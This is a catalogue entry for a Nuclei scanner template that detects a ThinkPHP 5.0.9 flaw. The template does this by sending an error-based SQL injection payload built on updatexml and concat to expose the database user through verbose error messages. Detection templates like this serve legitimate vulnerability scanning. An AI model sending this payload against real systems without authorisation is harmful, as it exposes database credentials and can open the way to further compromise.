thinkphp-509-information-disclosure: ThinkPHP 5.0.9 - Information Disclosure
- Template: thinkphp-509-information-disclosure
- Name: ThinkPHP 5.0.9 - Information Disclosure
- Description: ThinkPHP 5.0.9 includes verbose SQL error message that can reveal sensitive information including database credentials.
- Severity: critical
- Authors: dr_set
- Tags: thinkphp, vulhub, sqli, vuln
- References: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/in-sqlinjection
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/thinkphp/thinkphp-509-information-disclosure.yaml
- Digest: 4a0a00473045022100ac8bf676b3f8e69c011a71b825c6e63be90c66a97d0776b2c12b8f223e3adf06022079effece03effe38584ceea2aa694672b1b78cf8ec4c821b7841538344261be3
- Created at: 2021-01-19T09:36:50Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 2135
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/thinkphp/thinkphp-509-information-disclosure.yaml
- Checked, none or zero: cves, verified, products
- Not known: impact, remediation
Classification
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Max-request: 1
Labels
- Name: ThinkPHP - Information Disclosure
- Impact: Attackers can obtain sensitive database credentials and other information, potentially leading to further compromise.
- Remediation: Update to the latest version of ThinkPHP.
- Vulnerability type: misconfiguration
- Vulnerability impact: information_disclosure
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: thinkphp-509-information-disclosure
info:
name: ThinkPHP 5.0.9 - Information Disclosure
author: dr_set
severity: critical
description: ThinkPHP 5.0.9 includes verbose SQL error message that can reveal sensitive information including database credentials.
reference:
metadata:
max-request: 1
tags: thinkphp,vulhub,sqli,vuln
http:
- method: GET
path:
- "{{BaseURL}}/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1"
matchers-condition: and
matchers:
- type: word
words:
- "SQLSTATE"
- "XPATH syntax error"
condition: and
- type: status
status:
- 500
digest: 4a0a00473045022100ac8bf676b3f8e69c011a71b825c6e63be90c66a97d0776b2c12b8f223e3adf06022079effece03effe38584ceea2aa694672b1b78cf8ec4c821b7841538344261be3:922c64590222798bb761d5b6d8e72950
```